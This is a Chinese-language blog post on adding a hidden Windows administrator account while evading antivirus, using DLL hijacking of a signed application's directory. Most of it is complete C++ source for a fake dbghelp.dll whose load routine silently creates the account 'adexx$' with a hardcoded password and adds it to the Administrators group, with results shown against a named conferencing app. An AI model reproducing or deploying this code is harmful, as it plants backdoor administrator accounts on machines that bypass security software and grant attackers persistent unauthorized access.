某杀软环境下的添加账户
某杀软环境下的添加账户
我们在某个杀软环境下,正常添加账户一般是会被直接拦截的
白+黑
在这个环境下,白+黑是最实用的绕过方式,我们可以通过调用winapi来创建账户,这些代码再存储到dll里面,通过白程序来进行dll劫持执行我们的代码
使用函数
NetUserAdd
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
[in] LPCWSTR servername,//NULL 为本地
[in] DWORD level,
[in] LPBYTE buf,
[out] LPDWORD parm_err
);
上面这个函数中第三个参数是一个结构,可以有很多选择,这里我们使用_USER_INFO_1同时第二个参数要配套输入1代表信息等级1,_USER_INFO_1的结构如下
typedef struct _USER_INFO_1 {
LPWSTR usri1_name;
LPWSTR usri1_password;
DWORD usri1_password_age;
DWORD usri1_priv;
LPWSTR usri1_home_dir;
LPWSTR usri1_comment;
DWORD usri1_flags;
LPWSTR usri1_script_path;
} USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;
LookupAccountName
实现好用户的创建之后,我们就继续使用LookupAccountName来查询对应账户的sid,方便我们后续添加管理员用户组
BOOL LookupAccountNameW(
[in, optional] LPCWSTR lpSystemName,
[in] LPCWSTR lpAccountName,
[out, optional] PSID Sid,//这里会返回我们的SID
[in, out] LPDWORD cbSid,
[out, optional] LPWSTR ReferencedDomainName,
[in, out] LPDWORD cchReferencedDomainName,
[out] PSID_NAME_USE peUse
);
NetLocalGroupAddMembers
最后使用NetLocalGroupAddMembers来向管理员组里面去添加成员
NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
[in] LPCWSTR servername,
[in] LPCWSTR groupname,
[in] DWORD level,
[in] LPBYTE buf,
[in] DWORD totalentries
);
完整demo
我这里使用的是劫持了某个会议软件目录下的dbghelp.dll进行的实验,其作为实战的劫持是不行的,因为它没有办法正常让程序启动,会报错,动静很大,但是作为实验来说已经足够
// dllmain.cpp : 这是 DLL 应用程序的入口点。
#include "pch.h" // 预编译头文件
#include <Windows.h> // Windows API 头文件
#include <string.h> // 字符串处理函数
#include <LMaccess.h> // 本地管理相关的 Net API 头文件
#include <lmerr.h> // Windows 网络错误码
#include <tchar.h> // 支持 TCHAR 类型的宏和函数
#include <stdio.h> // 标准输入输出库
#pragma comment(lib,"netapi32.lib") // 链接 netapi32.lib 库
extern "C" __declspec(dllexport) void SymSetOptions() {
}
extern "C" __declspec(dllexport) void SymSetSearchPathW() {
}
extern "C" __declspec(dllexport) void SymCleanup() {
}
extern "C" __declspec(dllexport) void SymFromAddr() {
}
extern "C" __declspec(dllexport) void SymGetSearchPathW() {
}
extern "C" __declspec(dllexport) void SymGetLineFromAddr64() {
}
extern "C" __declspec(dllexport) void SymInitialize() {
}
// 定义内部函数,用于创建管理员用户
DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc; // 记录 API 调用的返回状态
BOOL b; // 布尔标志
DWORD dw; // 通用 DWORD 类型变量
DWORD dwLevel = 1;
DWORD dwError = 0;
USER_INFO_1 ud; // 用户信息结构
LOCALGROUP_MEMBERS_INFO_0 gd; // 本地组成员信息
SID_NAME_USE snu; // SID 名称使用类型
// 定义 SID 和 Domain 的缓冲区大小
DWORD cbSid = 256;
BYTE Sid[256]; // 用于存储用户的 SID
DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256]; // 用于存储域名
// 初始化 USER_INFO_1 结构
memset(&ud, 0, sizeof(ud)); // 清空结构
// 设置用户信息
wchar_t username[] = L"adexx$";
ud.usri1_name = username; // 账户
wchar_t password[] = L"adexx!@#QWE";
ud.usri1_password = password; // 密码
ud.usri1_priv = USER_PRIV_USER;
ud.usri1_script_path = NULL;
ud.usri1_comment = NULL;
ud.usri1_flags = UF_SCRIPT;
ud.usri1_home_dir = NULL;
// 调用 NetUserAdd 函数创建用户
rc = NetUserAdd(
NULL, // 本地计算机
dwLevel, // 信息级别
(LPBYTE)&ud, // 指向用户信息结构的指针
&dwError // 返回的用户 ID,当前不需要
);
// 检查用户创建是否成功
if (rc != NERR_Success) {
MessageBox(NULL, _T("NetUserAdd Error"), _T("Error"), MB_OK | MB_ICONERROR); // 显示消息框
return rc; // 返回错误代码
}
// 获取刚创建用户的 SID
b = LookupAccountName(
NULL, // 本地计算机
_T("adexx$"), // 要查找的用户名
Sid, // 存储 SID 的缓冲区
&cbSid, // SID 的缓冲区大小
Domain, // 存储域名的缓冲区
&cbDomain, // 域名缓冲区的大小
&snu // SID 名称使用类型
);
// 检查是否成功查找 SID
if (!b) {
dw = GetLastError(); // 获取最后的错误代码
TCHAR msg[256];
_stprintf_s(msg, _T("LookupAccountName Fail ,Error is :%d"), dw); // 格式化消息
MessageBox(NULL, msg, _T("Error"), MB_OK | MB_ICONERROR); // 显示消息框
return dw; // 返回错误代码
}
// 将用户添加到本地管理员组
memset(&gd, 0, sizeof(gd)); // 清空 LOCALGROUP_MEMBERS_INFO_0 结构
gd.lgrmi0_sid = (PSID)Sid; // 设置成员的 SID
// 调用 NetLocalGroupAddMembers 函数将用户添加到管理员组
rc = NetLocalGroupAddMembers(
NULL, // 本地计算机
_T("Administrators"), // 组名
0, // 信息级别
(LPBYTE)&gd, // 成员信息
1 // 成员数量
);
// 检查是否添加成功
if (rc != NERR_Success) {
MessageBox(NULL, _T("NetLocalGroupAddMembers Error"), _T("Error"), MB_OK | MB_ICONERROR); // 显示消息框
return rc; // 返回错误代码
}
return 0; // 成功完成
}
// DLL 主入口点
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 当 DLL 被加载时
CreateAdminUserInternal(); // 调用创建用户函数
case DLL_THREAD_ATTACH: // 新线程被创建时
case DLL_THREAD_DETACH: // 线程退出时
case DLL_PROCESS_DETACH: // DLL 被卸载时
break; // 无需处理
}
return TRUE; // 返回 TRUE,表明 DLL 处理成功
}
结果
用管理员权限运行腾讯会议,成功以后来看用户组,可以看见用户被成功添加
注销看一眼,确实添上了